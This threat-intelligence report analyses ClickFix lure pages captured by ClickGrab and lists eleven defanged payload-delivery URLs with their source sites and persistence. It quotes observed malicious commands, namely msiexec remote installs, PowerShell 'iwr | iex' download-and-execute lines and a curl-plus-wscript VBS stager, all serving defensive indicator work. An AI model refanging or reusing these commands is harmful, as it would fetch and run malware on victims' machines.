Historical ClickGrab snapshot, prepared 2026-08-26.
ClickGrab provides concrete evidence that ClickFix pages are directly presenting installer and download/execute commands at meaningful persistence:
- 4 direct
msiexectargets - 5 PowerShell download/execute targets
- 2 VBS/WinHTTP download/execute targets
That is 11 unique payload-delivery targets across 120 analyzable nightly reports and 11,924 site observations. Several targets remained present in almost every nightly snapshot.
This dataset does not establish ClickFix-to-RMM attribution. None of the 11 delivery domains matched the current LOLRMM domain corpus. That negative match is useful but not conclusive: a URL may serve a first-stage loader, rotate its payload, redirect, use attacker-controlled infrastructure, or install an RMM product whose vendor domain never appears in the lure command.
The defensible conclusion is: ClickFix-to-installer/stager delivery is clearly present and persistent in ClickGrab; identifying the final RMM requires payload retrieval or downstream endpoint/network telemetry.
| Item | Value |
|---|---|
| Repository report dates selected | 390 (2025-04-17 through 2026-08-26) |
| Analyzable JSON report dates | 120 (2026-04-29 through 2026-08-26) |
| Site observations analyzed | 11,924 |
| Older selections unavailable locally | 270 Git LFS pointer stubs (2025-04-17 through 2026-03-02) |
| Unique delivery targets | 11 |
| Direct LOLRMM domain matches | 0 |
One report was selected per calendar date, preferring the newest timestamped report over the date-only copy. “Nightly presence” below means the number of selected nightly reports containing the target; it is not a victim, execution, download, or infection count. ClickGrab observed page content and copied commands—it did not execute these commands or retrieve their payloads for this analysis.
| Delivery | Defanged target | First seen | Last seen | Nightly presence |
|---|---|---|---|---|
| MSI | hxxp[:]//inkbookwriters[.]com/verify |
2026-04-29 | 2026-06-17 | 49 |
| MSI | hxxps[:]//i-like-ele-phants-verification[.]live/iamchallenge/verification/UserID7383526 |
2026-04-29 | 2026-08-26 | 119 |
| MSI | hxxps[:]//pizzabyte[.]com[.]au/smartdetection/deviceverification/CF/path/captcha |
2026-04-29 | 2026-08-26 | 105 |
| MSI | hxxps[:]//shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/ |
2026-04-29 | 2026-08-26 | 100 |
| PowerShell | hxxp[:]//95[.]164[.]53[.]214:5554/d.bat |
2026-04-29 | 2026-08-26 | 118 |
| PowerShell | hxxps[:]//amazon-ny-gifts[.]com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt |
2026-04-29 | 2026-08-26 | 117 |
| PowerShell | hxxps[:]//ghost[.]nestdns[.]com/files |
2026-04-29 | 2026-08-26 | 110 |
| PowerShell | hxxps[:]//irp[.]cdn-website[.]com/45d8c6e0/files/uploaded/32.ps1 |
2026-04-29 | 2026-08-26 | 118 |
| PowerShell | hxxps[:]//yogasitesdev[.]wpengine[.]com/2/15.ps1 |
2026-05-22 | 2026-08-26 | 93 |
| VBS/WinHTTP | hxxp[:]//178[.]17[.]59[.]40:5506/qk.vbs |
2026-04-29 | 2026-08-26 | 89 |
| VBS/WinHTTP | hxxp[:]//198[.]13[.]158[.]127:5506/ny.vbs |
2026-04-29 | 2026-07-29 | 90 |
- Observed command:
msiexec /i hxxp[:]//inkbookwriters[.]com/verify /qn - Source ClickFix pages:
hxxp[:]//103[.]241[.]42[.]40/,hxxp[:]//172[.]96[.]189[.]153/,hxxps[:]//103[.]241[.]42[.]40/,hxxps[:]//118[.]139[.]167[.]36/ - LOLRMM domain correlation: no match
- Observed command:
msiexec /i hxxps[:]//i-like-ele-phants-verification[.]live/iamchallenge/verification/UserID7383526 - Source ClickFix page:
hxxps[:]//201[.]182[.]25[.]51/ - LOLRMM domain correlation: no match
- Observed command:
msiexec /i hxxps[:]//pizzabyte[.]com[.]au/smartdetection/deviceverification/CF/path/captcha - Source ClickFix page:
hxxps[:]//216[.]119[.]126[.]23/old_backup/ - LOLRMM domain correlation: no match
- Observed command:
msiexec /i hxxps[:]//shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/ - Source ClickFix pages:
hxxp[:]//199[.]168[.]184[.]115/,hxxps[:]//178[.]210[.]83[.]9/,hxxps[:]//199[.]168[.]184[.]115/ - LOLRMM domain correlation: no match
- Passive corroboration: URLhaus tags this URL
clickfix,loads-stealer, andmsi; URLhaus did not retrieve the payload. See URLhaus record.
- Observed pattern: PowerShell
Invoke-WebRequestdownloadsd.bat, then executes the local file withStart-Process. - Source ClickFix page:
hxxps[:]//www[.]gesundeswasser[.]co - LOLRMM domain correlation: no match
- Observed command:
iex (iwr 'hxxps[:]//amazon-ny-gifts[.]com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing) - Source ClickFix page:
hxxps[:]//www[.]bratusferramentas[.]grupomoltz[.]com[.]br/ - LOLRMM domain correlation: no match
- Observed pattern: hidden PowerShell uses
Net.WebClient.DownloadFileto save the response asp.ps1, executes it, then removes it. - Source ClickFix pages:
hxxp[:]//162[.]215[.]130[.]152/,hxxps[:]//144[.]22[.]251[.]16/,hxxps[:]//162[.]215[.]130[.]152/,hxxps[:]//173[.]231[.]196[.]249/ - LOLRMM domain correlation: no match
- Passive corroboration: URLhaus associates this host with
clickfix,powershell, andmp3tags. See URLhaus host record.
- Observed command:
iwr hxxps[:]//irp[.]cdn-website[.]com/45d8c6e0/files/uploaded/32.ps1 | iex - Source ClickFix page:
hxxps[:]//blessdayservices[.]org/up/ - LOLRMM domain correlation: no match
- Observed command:
iwr 'hxxps[:]//yogasitesdev[.]wpengine[.]com/2/15.ps1' | iex - Source ClickFix page:
hxxps[:]//jessespridecharters[.]com/v/ - LOLRMM domain correlation: no match
- Observed command:
cmd /c "curl -s hxxp[:]//178[.]17[.]59[.]40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs" - Source ClickFix page:
hxxps[:]//103[.]74[.]5[.]124/ - LOLRMM domain correlation: no match
- Observed pattern: a VBScript
WinHttpRequestGET retrievesny.vbs, writes it into the temporary directory, and executes it. - Source ClickFix pages:
hxxp[:]//74[.]48[.]108[.]236/,hxxps[:]//74[.]48[.]108[.]236/,hxxps[:]//74[.]50[.]99[.]45:8443/ - LOLRMM domain correlation: no match
The extractor also examined high-signal evidence fields for HTA/MSHTA, WebDAV, DNS-based retrieval, finger.exe, macOS terminal commands, and generic command-line downloaders. No additional unique delivery target survived contextual validation. Long HTML/JavaScript evidence blobs contain unrelated font, icon, and analytics URLs, so URLs were retained only when a delivery primitive appeared within 180 characters before the URL.